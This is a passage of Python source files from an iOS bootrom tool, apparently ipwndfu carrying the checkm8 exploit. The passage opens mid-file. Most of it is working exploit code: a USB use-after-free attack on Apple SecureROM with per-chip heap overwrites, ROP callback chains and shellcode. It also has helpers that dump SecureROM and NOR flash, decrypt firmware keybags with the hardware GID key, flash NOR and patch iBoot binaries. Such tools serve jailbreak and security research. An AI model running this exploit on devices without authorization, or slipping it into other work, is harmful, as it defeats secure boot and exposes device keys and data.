0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000B9A8, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8015 = [
0x180008528, # 1 - gUSBDescriptors
0x180003A78, # 2 - gUSBSerialNumber
0x10000AE80, # 3 - usb_create_string_descriptor
0x1800008FA, # 4 - gUSBSRNMStringDescriptor
0x18001BC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180008638, # 8 - PAYLOAD_PTR
]
t8015_load_write_gadget = 0x10000945C
t8015_write_sctlr_gadget = 0x1000003EC
t8015_func_gadget = 0x10000A9AC
t8015_write_ttbr0 = 0x10000045C
t8015_tlbi = 0x1000004AC
t8015_dc_civac = 0x1000004D0
t8015_dmb = 0x1000004F0
t8015_handle_interface_request = 0x10000BCCC
t8015_callbacks = [
(t8015_dc_civac, 0x18001C800),
(t8015_dc_civac, 0x18001C840),
(t8015_dc_civac, 0x18001C880),
(t8015_dmb, 0),
(t8015_write_sctlr_gadget, 0x100D),
(t8015_load_write_gadget, 0x18001C000),
(t8015_load_write_gadget, 0x18001C010),
(t8015_write_ttbr0, 0x180020000),
(t8015_tlbi, 0),
(t8015_load_write_gadget, 0x18001C020),
(t8015_write_ttbr0, 0x18000C000),
(t8015_tlbi, 0),
(0x18001C800, 0),
]
t8015_callback_data = usb_rop_callbacks(0x18001C020, t8015_func_gadget, t8015_callbacks)
t8015_handler = asm_arm64_x7_trampoline(t8015_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8015)[4:]
t8015_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8015)
assert len(t8015_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(t8015_handler) <= PAYLOAD_SIZE_ARM64
t8015_shellcode = t8015_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8015_shellcode)) + t8015_handler
return struct.pack('<6Q16x448s1536x1024s', 0x180020400-8, 0x1000006A5, 0x180020600-8, 0x180000625, 0x18000C600-8, 0x180000625, t8015_callback_data, t8015_shellcode)
def all_exploit_configs():
t8010_nop_gadget = 0x10000CC6C
t8011_nop_gadget = 0x10000CD0C
t8015_nop_gadget = 0x10000A9C4
s5l8947x_overwrite = struct.pack('<20xI4x', 0x34000000)
s5l895xx_overwrite = struct.pack('<20xI4x', 0x10000000)
t800x_overwrite = struct.pack('<20xI4x', 0x48818000)
s5l8960x_overwrite = struct.pack('<32xQ8x', 0x180380000)
t8010_overwrite = struct.pack('<32x2Q16x32x2QI', t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef)
t8011_overwrite = struct.pack('<32x2Q', t8011_nop_gadget, 0x1800B0800)
t8015_overwrite = struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef)
s5l8947x_overwrite_offset = 0x660
s5l895xx_overwrite_offset = 0x640
t800x_overwrite_offset = 0x5C0
s5l8960x_overwrite_offset = 0x580
t8010_overwrite_offset = 0x580
t8011_overwrite_offset = 0x540
t8015_overwrite_offset = 0x500
return [
DeviceConfig('iBoot-1458.2', 0x8947, 626, s5l8947x_overwrite, s5l8947x_overwrite_offset, None, None), # S5L8947 (DFU loop) 1.97 seconds
DeviceConfig('iBoot-1145.3' , 0x8950, 659, s5l895xx_overwrite, s5l895xx_overwrite_offset, None, None), # S5L8950 (buttons) 2.30 seconds
DeviceConfig('iBoot-1145.3.3', 0x8955, 659, s5l895xx_overwrite, s5l895xx_overwrite_offset, None, None), # S5L8955 (buttons) 2.30 seconds
DeviceConfig('iBoot-1704.10', 0x8960, 7936, s5l8960x_overwrite, s5l8960x_overwrite_offset, None, None), # S5L8960 (buttons) 13.97 seconds
DeviceConfig('iBoot-2651.0.0.1.31', 0x8002, None, t800x_overwrite, t800x_overwrite_offset, 5, 1), # T8002 (DFU loop) NEW: 1.27 seconds
DeviceConfig('iBoot-2651.0.0.3.3', 0x8004, None, t800x_overwrite, t800x_overwrite_offset, 5, 1), # T8004 (buttons) NEW: 1.06 seconds
DeviceConfig('iBoot-2696.0.0.1.33', 0x8010, None, t8010_overwrite, t8010_overwrite_offset, 5, 1), # T8010 (buttons) NEW: 0.68 seconds
DeviceConfig('iBoot-3135.0.0.2.3', 0x8011, None, t8011_overwrite, t8011_overwrite_offset, 6, 1), # T8011 (buttons) NEW: 0.87 seconds
DeviceConfig('iBoot-3332.0.0.1.23', 0x8015, None, t8015_overwrite, t8015_overwrite_offset, 6, 1), # T8015 (DFU loop) NEW: 0.66 seconds
]
def exploit_config(serial_number):
for config in all_exploit_configs():
if 'SRTG:[%s]' % config.version in serial_number:
return payload(config.cpid), config
for config in all_exploit_configs():
if 'CPID:%s' % config.cpid in serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
print 'ERROR: This is not a compatible device. Exiting.'
sys.exit(1)
def exploit():
print '*** checkm8 exploit by axi0mX ***'
print '*** modified version by Linus Henze ***'
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
payload, config = exploit_config(device.serial_number)
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
stall(device)
for i in range(config.hole):
no_leak(device)
leak(device)
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
# Advance buffer offset before triggering the UaF to prevent trashing the heap
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * config.overwrite_offset, 10)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
for i in range(config.leak):
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
================================================
FILE: device_platform.py
================================================
class DevicePlatform:
def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, sram_base, sram_size, dram_base, nonce_length, sep_nonce_length, demotion_reg):
self.cpid = cpid
self.cprv = cprv
self.scep = scep
self.arch = arch
self.srtg = srtg
self.rom_base = rom_base
self.rom_size = rom_size
self.rom_sha1 = rom_sha1
self.sram_base = sram_base
self.sram_size = sram_size
self.dram_base = dram_base
self.nonce_length = nonce_length
self.sep_nonce_length = sep_nonce_length
self.demotion_reg = demotion_reg
if self.cpid in [0x8940, 0x8947]:
self.dfu_image_base = 0x34000000
self.dfu_load_base = 0x9FF00000
self.recovery_image_base = 0x9FF00000
self.recovery_load_base = 0x80000000
if self.cpid in [0x8950, 0x8955]:
self.dfu_image_base = 0x10000000
self.dfu_load_base = 0xBFF00000
self.recovery_image_base = 0xBFF00000
self.recovery_load_base = 0x80000000
if self.cpid == 0x8960:
self.dfu_image_base = 0x180380000
self.dfu_load_base = 0x180000000 # varies (HACK: test purposes)
self.recovery_image_base = 0x83D7F7000 # varies
self.recovery_load_base = 0x800000000
if self.cpid in [0x8002, 0x8004]:
self.dfu_image_base = 0x48818000
self.dfu_load_base = 0x80000000
self.recovery_image_base = 0x48818000
self.recovery_load_base = 0x80000000
if self.cpid in [0x8010, 0x8011]:
self.dfu_image_base = 0x1800B0000
self.dfu_load_base = 0x800000000
self.recovery_image_base = 0x1800B0000
self.recovery_load_base = 0x800000000
if self.cpid in [0x8015]:
self.dfu_image_base = 0x18001C000
self.dfu_load_base = 0x800000000
self.recovery_image_base = 0x18001C000
self.recovery_load_base = 0x800000000
def name(self):
if 0x8720 <= self.cpid <= 0x8960:
return 's5l%xxsi' % self.cpid
elif self.cpid in [0x7002, 0x8000, 0x8001, 0x8003]:
return 's%xsi' % self.cpid
else:
return 't%xsi' % self.cpid
all_platforms = [
DevicePlatform(cpid=0x8947, cprv=0x00, scep=0x10, arch='armv7', srtg='iBoot-1458.2',
rom_base=0x3F000000, rom_size=0x10000, rom_sha1='d9320ddd4bdb1de79ae0601f20e7db23441ab1a7',
sram_base=0x34000000, sram_size=0x40000,
dram_base=0x80000000,
nonce_length=20, sep_nonce_length=None,
demotion_reg=0x3F500000,
),
DevicePlatform(cpid=0x8950, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3',
rom_base=0x3F000000, rom_size=0x10000, rom_sha1='50a8dd9863868c971aaf95a96e5152378784e4db',
sram_base=0x10000000, sram_size=0x80000,
dram_base=0x80000000,
nonce_length=20, sep_nonce_length=None,
demotion_reg=0x3F500000,
),
DevicePlatform(cpid=0x8955, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3.3',
rom_base=0x3F000000, rom_size=0x10000, rom_sha1='3af575cc84e54f951db2a83227737664abdc8f40',
sram_base=0x10000000, sram_size=0x80000,
dram_base=0x80000000,
nonce_length=20, sep_nonce_length=None,
demotion_reg=0x3F500000,
),
DevicePlatform(cpid=0x8002, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.1.31',
rom_base=0x40000000, rom_size=0x100000, rom_sha1='46c14a17f54ec6079260e9253e813084ab1e634b',
sram_base=0x48800000, sram_size=0x120000,
dram_base=0x80000000,
nonce_length=32, sep_nonce_length=20,
demotion_reg=0x481BC000,
),
DevicePlatform(cpid=0x8004, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.3.3',
rom_base=0x40000000, rom_size=0x20000, rom_sha1='8afdcd6c147ac63fddadd1b92536d1f80c0b8a21',
sram_base=0x48800000, sram_size=0x140000,
dram_base=0x80000000,
nonce_length=32, sep_nonce_length=20,
demotion_reg=0x481BC000,
),
DevicePlatform(cpid=0x8960, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-1704.10',
rom_base=0x100000000, rom_size=0x80000, rom_sha1='2ae035c46e02ca40ae777f89a6637be694558f0a',
sram_base=0x180000000, sram_size=0x400000,
dram_base=0x800000000,
nonce_length=20, sep_nonce_length=20,
demotion_reg=0x20E02A000,
),
DevicePlatform(cpid=0x8010, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-2696.0.0.1.33',
rom_base=0x100000000, rom_size=0x20000, rom_sha1='41a488b3c46ff06c1a2376f3405b079fb0f15316',
sram_base=0x180000000, sram_size=0x200000,
dram_base=0x800000000,
nonce_length=32, sep_nonce_length=20,
demotion_reg=0x2102BC000,
),
DevicePlatform(cpid=0x8011, cprv=0x10, scep=0x01, arch='arm64', srtg='iBoot-3135.0.0.2.3',
rom_base=0x100000000, rom_size=0x100000, rom_sha1='2fae20a11860b0e3ce1d8a6df7d3961f610ab70d',
sram_base=0x180000000, sram_size=0x200000,
dram_base=0x800000000,
nonce_length=32, sep_nonce_length=20,
demotion_reg=0x2102BC000,
),
DevicePlatform(cpid=0x8015, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-3332.0.0.1.23',
rom_base=0x100000000, rom_size=0x100000, rom_sha1='96fccb1a63de1a2d50ff14555d3898a5af46e9b1',
sram_base=0x180000000, sram_size=0x200000,
dram_base=0x800000000,
nonce_length=32, sep_nonce_length=20,
demotion_reg=0x2352BC000,
),
]
================================================
FILE: dfu.py
================================================
import sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import usb.backend.libusb1
import libusbfinder
MAX_PACKET_SIZE = 0x800
def acquire_device(timeout=5.0, match=None, fatal=True):
backend = usb.backend.libusb1.get_backend(find_library=lambda x:libusbfinder.libusb1_path())
#print 'Acquiring device handle.'
# Keep retrying for up to timeout seconds if device is not found.
start = time.time()
once = False
while not once or time.time() - start < timeout:
once = True
for device in usb.core.find(find_all=True, idVendor=0x5AC, idProduct=0x1227, backend=backend):
if match is not None and match not in device.serial_number:
continue
return device
time.sleep(0.001)
if fatal:
print 'ERROR: No Apple device in DFU Mode 0x1227 detected after %0.2f second timeout. Exiting.' % timeout
sys.exit(1)
return None
def release_device(device):
#print 'Releasing device handle.'
usb.util.dispose_resources(device)
def reset_counters(device):
#print 'Resetting USB counters.'
assert device.ctrl_transfer(0x21, 4, 0, 0, 0, 1000) == 0
def usb_reset(device):
#print 'Performing USB port reset.'
try:
device.reset()
except usb.core.USBError:
# OK: doesn't happen on Yosemite but happens on El Capitan and Sierra
pass
#print 'Caught exception during port reset; should still work.'
def send_data(device, data):
#print 'Sending 0x%x of data to device.' % len(data)
index = 0
while index < len(data):
amount = min(len(data) - index, MAX_PACKET_SIZE)
assert device.ctrl_transfer(0x21, 1, 0, 0, data[index:index + amount], 5000) == amount
index += amount
def get_data(device, amount):
#print 'Getting 0x%x of data from device.' % amount
data = str()
while amount > 0:
part = min(amount, MAX_PACKET_SIZE)
ret = device.ctrl_transfer(0xA1, 2, 0, 0, part, 5000)
assert len(ret) == part
data += ret.tostring()
amount -= part
return data
def request_image_validation(device):
#print 'Requesting image validation.'
assert device.ctrl_transfer(0x21, 1, 0, 0, '', 1000) == 0
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
usb_reset(device)
================================================
FILE: dfuexec.py
================================================
import binascii, datetime, hashlib, struct, sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import dfu, recovery, image3, image3_24Kpwn, utilities
EXEC_MAGIC = 'exec'[::-1]
AES_BLOCK_SIZE = 16
AES_GID_KEY = 0x20000200
AES_UID_KEY = 0x20000201
AES_ENCRYPT = 16
AES_DECRYPT = 17
class PwnedDeviceConfig:
def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_device, load_address, rom_address, rom_size, rom_sha256):
self.version = version
self.cpid = cpid
self.aes_crypto_cmd = aes_crypto_cmd
self.memmove = memmove
self.get_block_device = get_block_device
self.load_address = load_address
self.rom_address = rom_address
self.rom_size = rom_size
self.rom_sha256 = rom_sha256
configs = [
#PwnedDeviceConfig(
# # S5L8720 (old bootrom)
# version='240.4',
# cpid='8720',
# aes_crypto_cmd=0x899,
# memmove=0x795c,
# get_block_device=0x1091,
# load_address=0x22000000,
# rom_address=0x20000000,
# rom_size=0x10000,
# rom_sha256='55f4d8ea2791ba51dd89934168f38f0fb21ce8762ff614c1e742407c0d3ca054'
#),
#PwnedDeviceConfig(
# # S5L8720 (new bootrom)
# version='240.5.1',
# cpid='8720',
# aes_crypto_cmd=0x899,
# memmove=0x7964,
# get_block_device=0x1091,
# load_address=0x22000000,
# rom_address=0x20000000,
# rom_size=0x10000,
# rom_sha256='f15ae522dc9e645fcf997f6cec978ed3ce1811915e84938c68203fb95d80d300'
#),
PwnedDeviceConfig(
# S5L8920 (old bootrom)
version='359.3',
cpid='8920',
aes_crypto_cmd=0x925,
memmove=0x83d4,
get_block_device=0x1351,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='99fd16f919a506c7f0701620e132e18c0e6f4025a57a85807960ca092e5e3587'
),
PwnedDeviceConfig(
# S5L8920 (new bootrom)
version='359.3.2',
cpid='8920',
aes_crypto_cmd=0x925,
memmove=0x83dc,
get_block_device=0x1351,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='0e6feb1144c95b1ee088ecd6c45bfdc2ed17191167555b6ca513d6572e463c86'),
PwnedDeviceConfig(
# S5L8922
version='359.5',
cpid='8922',
aes_crypto_cmd=0x919,
memmove=0x8564,
get_block_device=0x1851,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='07b8a615f00961c5802451b5717c344db287b68c5f6d2331ac6ba7a6acdbac9d'
),
PwnedDeviceConfig(
# S5L8930
version='574.4',
cpid='8930',
aes_crypto_cmd=0x686d,
memmove=0x84dc,
get_block_device=0x81d5,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='4f34652a238a57ae0018b6e66c20a240cdbee8b4cca59a99407d09f83ea8082d'
),
]
class PwnedDFUDevice():
def __init__(self):
device = dfu.acquire_device()
self.identifier = device.serial_number
dfu.release_device(device)
if 'PWND:[' not in self.identifier:
print 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.'
sys.exit(1)
if 'CPID:8720' in self.identifier:
print 'ERROR: This feature is not supported on iPod Touch (2nd generation).'
sys.exit(1)
self.config = None
for config in configs:
if 'SRTG:[iBoot-%s]' % config.version in self.identifier:
self.config = config
break
if self.config is None:
print 'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.'
sys.exit(1)
def ecid_string(self):
tokens = self.identifier.split()
for token in tokens:
if token.startswith('ECID:'):
return token[5:]
print 'ERROR: ECID is missing from USB serial number string.'
sys.exit(1)
def execute(self, cmd, receiveLength):
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.send_data(device, EXEC_MAGIC + cmd)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
requiredLength = 0x8 + receiveLength
requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800
received = dfu.get_data(device, requiredLength)
dfu.release_device(device)
(exec_cleared, retval) = struct.unpack('<2I', received[:8])
assert exec_cleared == 0
return (retval, received[8:8 + receiveLength])
def securerom_dump(self):
securerom = self.read_memory(self.config.rom_address, self.config.rom_size)
if hashlib.sha256(securerom).hexdigest() != self.config.rom_sha256:
print 'ERROR: SecureROM was dumped, but the SHA256 hash does not match. Exiting.'
sys.exit(1)
return securerom
def aes(self, data, action, key):
if len(data) % AES_BLOCK_SIZE != 0:
print 'ERROR: Length of data for AES encryption/decryption must be a multiple of %s.' % AES_BLOCK_SIZE
sys.exit(1)
cmd = struct.pack('<8I', self.config.aes_crypto_cmd, action, self.config.load_address + 36, self.config.load_address + 0x8, len(data), key, 0, 0)
(retval, received) = self.execute(cmd + data, len(data))
return received[:len(data)]
def aes_hex(self, hexdata, action, key):
if len(hexdata) % 32 != 0:
print 'ERROR: Length of hex data for AES encryption/decryption must be a multiple of %s.' % (2 * AES_BLOCK_SIZE)
sys.exit(1)
return binascii.hexlify(self.aes(binascii.unhexlify(hexdata), action, key))
def read_memory(self, address, length):
(retval, data) = self.execute(struct.pack('<4I', self.config.memmove, self.config.load_address + 8, address, length), length)
return data
def write_memory(self, address, data):
(retval, data) = self.execute(struct.pack('<4I%ss' % len(data), self.config.memmove, address, self.config.load_address + 20, len(data), data), 0)
return data
def nor_dump(self, saveBackup):
(bdev, empty) = self.execute(struct.pack('<2I5s', self.config.get_block_device, self.config.load_address + 12, 'nor0\x00'), 0)
if bdev == 0:
print 'ERROR: Unable to dump NOR. Pointer to nor0 block device was NULL.'
sys.exit(1)
data = self.read_memory(bdev + 28, 4)
(read,) = struct.unpack('<I', data)
if read == 0:
print 'ERROR: Unable to dump NOR. Function pointer for reading was NULL.'
sys.exit(1)
NOR_PART_SIZE = 0x20000
NOR_PARTS = 8
nor = str()
for i in range(NOR_PARTS):
print 'Dumping NOR, part %s/%s.' % (i+1, NOR_PARTS)
(retval, received) = self.execute(struct.pack('<6I', read, bdev, self.config.load_address + 8, i * NOR_PART_SIZE, 0, NOR_PART_SIZE), NOR_PART_SIZE)
nor += received
if saveBackup:
date = datetime.datetime.now().strftime('%Y%m%d-%H%M%S')
filename = 'nor-backups/nor-%s-%s.dump' % (self.ecid_string(), date)
f = open(filename, 'wb')
f.write(nor)
f.close()
print 'NOR backed up to file: %s' % filename
return nor
def boot_ibss(self):
print 'Sending iBSS.'
if self.config.cpid != '8920':
print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.'
sys.exit(1)
help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
try:
f = open('n88ap-iBSS-4.3.5.img3', 'rb')
data = f.read()
f.close()
except:
print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.'
print help1
print help2
sys.exit(1)
if len(data) == 0:
print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).'
print help1
print help2
sys.exit(1)
if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.'
print help1
print help2
sys.exit(1)
iBSS = image3.Image3(data)
decryptediBSS = iBSS.newImage3(decrypted=True)
n88ap_iBSS_435_patches = [
(0x14954, 'run\x00'), # patch 'reset' command string to 'run'
(0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1
]
patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
data = dfu.send_data(device, patchediBSS)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
print 'Waiting for iBSS to enter Recovery Mode.'
device = recovery.acquire_device()
recovery.release_device(device)
def flash_nor(self, nor):
self.boot_ibss()
print 'Sending iBSS payload to flash NOR.'
MAX_SHELLCODE_LENGTH = 128
payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read()
assert len(payload) <= MAX_SHELLCODE_LENGTH
payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor
device = recovery.acquire_device()
assert 'CPID:8920' in device.serial_number
recovery.send_data(device, payload)
try:
print 'Sending run command.'
recovery.send_command(device, 'run')
except usb.core.USBError:
# OK
pass
#print 'Caught USBError; should still work.'
recovery.release_device(device)
print 'If screen is not red, NOR was flashed successfully and device will reboot.'
def decrypt_keybag(self, keybag):
KEYBAG_LENGTH = 48
assert len(keybag) == KEYBAG_LENGTH
KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid
try:
f = open(KEYBAG_FILENAME, 'rb')
data = f.read()
f.close()
except IOError:
data = str()
assert len(data) % 2 * KEYBAG_LENGTH == 0
for i in range(0, len(data), 2 * KEYBAG_LENGTH):
if keybag == data[i:i+KEYBAG_LENGTH]:
return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH]
device = PwnedDFUDevice()
decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY)
f = open(KEYBAG_FILENAME, 'a')
f.write(keybag + decrypted_keybag)
f.close()
return decrypted_keybag
================================================
FILE: ibootpatcher
================================================
#!/usr/bin/python
# ibootpatcher: patch assembly code in iBoot binaries
# Author: axi0mX
import argparse, struct, sys
def arm64_branch_instruction(src, dest):
if src > dest:
value = 0x18000000 - (src - dest) / 4
else:
value = 0x14000000 + (dest - src) / 4
return struct.pack('<I', value)
MSR_VBAR_EL3_X10 = '\x0A\xC0\x1E\xD5'
MSR_VBAR_EL1_X10 = '\x0A\xC0\x18\xD5'
MRS_X0_SCTLR_EL3 = '\x00\x10\x3E\xD5'
MRS_X0_SCTLR_EL1 = '\x00\x10\x38\xD5'
MSR_SCTLR_EL3_X0 = '\x00\x10\x1E\xD5'
MSR_SCTLR_EL1_X0 = '\x00\x10\x18\xD5'
MSR_SCR_EL3_X0 = '\x00\x11\x1E\xD5'
MSR_MAIR_EL3_X0 = '\x00\xA2\x1E\xD5'
MSR_MAIR_EL1_X0 = '\x00\xA2\x18\xD5'
MSR_TCR_EL3_X0 = '\x40\x20\x1E\xD5'
MSR_TCR_EL1_X0 = '\x40\x20\x18\xD5'
MSR_TTBR0_EL3_X0 = '\x00\x20\x1E\xD5'
MSR_TTBR0_EL1_X0 = '\x00\x20\x18\xD5'
TLBI_ALLE3 = '\x1F\x87\x0E\xD5'
TLBI_ALLE1 = '\x9F\x87\x0C\xD5'
TLBI_VMALLE1 = '\x1F\x87\x08\xD5'
MRS_X30_ELR_EL3 = '\x3E\x40\x3E\xD5'
MRS_X30_ELR_EL1 = '\x3E\x40\x38\xD5'
MRS_X1_ESR_EL3 = '\x01\x52\x3E\xD5'
MRS_X1_ESR_EL1 = '\x01\x52\x38\xD5'
MRS_X1_FAR_EL3 = '\x01\x60\x3E\xD5'
MRS_X1_FAR_EL1 = '\x01\x60\x38\xD5'
MRS_X2_ESR_EL3 = '\x02\x52\x3E\xD5'
MRS_X2_ESR_EL1 = '\x02\x52\x38\xD5'
MRS_X2_SPSR_EL3 = '\x02\x40\x3E\xD5'
MRS_X2_SPSR_EL1 = '\x02\x40\x38\xD5'
MSR_ELR_EL3_X0 = '\x20\x40\x1E\xD5'
MSR_ELR_EL1_X0 = '\x20\x40\x18\xD5'
MSR_SPSR_EL3_X1 = '\x01\x40\x1E\xD5'
MSR_SPSR_EL1_X1 = '\x01\x40\x18\xD5'
MRS_X2_SCTLR_EL3 = '\x02\x10\x3E\xD5'
MRS_X2_SCTLR_EL1 = '\x02\x10\x38\xD5'
MSR_SCTLR_EL3_X1 = '\x01\x10\x1E\xD5'
MSR_SCTLR_EL1_X1 = '\x01\x10\x18\xD5'
MSR_ELR_EL2_XZR = '\x3F\x40\x1C\xD5'
MSR_ELR_EL3_XZR = '\x3F\x40\x1E\xD5'
MSR_SPSR_EL2_XZR = '\x1F\x40\x1C\xD5'
MSR_SPSR_EL3_XZR = '\x1F\x40\x1E\xD5'
MSR_SP_EL1_XZR = '\x1F\x41\x1C\xD5'
MSR_SP_EL2_XZR = '\x1F\x41\x1E\xD5'
ARM64_NOP = '\x1F\x20\x03\xD5'
ORR_X0_X0_0x800000 = '\x00\x00\x69\xB2'
ORR_X0_X0_0x10000000 = '\x00\x00\x60\xB2'
ISB = '\xDF\x3F\x03\xD5'
RET = '\xC0\x03\x5F\xD6'
def apply_tcr_el3_patch(binary):
for i in range(0, len(binary), 4):
if binary[i:i+4] == MSR_TCR_EL3_X0:
binary = binary[:i] + arm64_branch_instruction(i, 0x1EC) + binary[i+4:]
binary = binary[:0x1EC] + ORR_X0_X0_0x10000000 + ORR_X0_X0_0x800000 + MSR_TCR_EL1_X0 + ISB + RET + binary[0x200:]
print 'TCR_EL3 patch: 0x%x' % i
return binary
print 'ERROR: Could not find MSR TCR_EL3, X0 instruction.'
sys.exit(1)
def apply_generic_el3_patches(binary):
el3_patches = [
(MSR_VBAR_EL3_X10, MSR_VBAR_EL1_X10),
(MRS_X0_SCTLR_EL3, MRS_X0_SCTLR_EL1),
(MSR_SCTLR_EL3_X0, MSR_SCTLR_EL1_X0),
(MSR_SCR_EL3_X0, ARM64_NOP), # there is no EL1 equivalent
(MSR_MAIR_EL3_X0, MSR_MAIR_EL1_X0),
(MSR_TTBR0_EL3_X0, MSR_TTBR0_EL1_X0),
(MRS_X30_ELR_EL3, MRS_X30_ELR_EL1),
(MRS_X1_ESR_EL3, MRS_X1_ESR_EL1),
(MRS_X1_FAR_EL3, MRS_X1_FAR_EL1),
(MRS_X2_ESR_EL3, MRS_X2_ESR_EL1),
(MRS_X2_SPSR_EL3, MRS_X2_SPSR_EL1),
(MSR_ELR_EL3_X0, MSR_ELR_EL1_X0),
(MSR_SPSR_EL3_X1, MSR_SPSR_EL1_X1),
(MRS_X2_SCTLR_EL3, MRS_X2_SCTLR_EL1),
(TLBI_ALLE3, TLBI_VMALLE1), # TODO: why not TLBI VMALLE1?
(MSR_SCTLR_EL3_X1, MSR_SCTLR_EL1_X1),
(MSR_ELR_EL2_XZR, ARM64_NOP),
(MSR_ELR_EL3_XZR, ARM64_NOP),
(MSR_SPSR_EL2_XZR, ARM64_NOP),
(MSR_SPSR_EL3_XZR, ARM64_NOP),
(MSR_SP_EL1_XZR, ARM64_NOP),
(MSR_SP_EL2_XZR, ARM64_NOP),
]
for i in range(0, len(binary), 4):
for (before, after) in el3_patches:
if binary[i:i+4] == before:
binary = binary[:i] + after + binary[i+4:]
print 'Generic EL3 patch: 0x%x' % i
break
return binary
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-i', help='input filename', required=True)
parser.add_argument('--el1', action='store_true', help="make iBoot64 compatible with EL1 (iOS 7.0 - 9.3.5)")
args = parser.parse_args()
if args.el1:
with open(args.i, 'rb') as f:
binary = f.read()
binary = apply_generic_el3_patches(binary)
binary = apply_tcr_el3_patch(binary)
filename = args.i + '.patched'
with open(filename, 'wb') as out:
out.write(binary)
print 'Saved:', filename
else:
print 'No patches requested.'
================================================
FILE: image3.py
================================================
import binascii, struct
import dfuexec, utilities
class Image3:
def __init__(self, data):
(self.magic, self.totalSize, self.dataSize, self.signedSize, self.type) = struct.unpack('4s3I4s', data[0:20])
self.tags = []
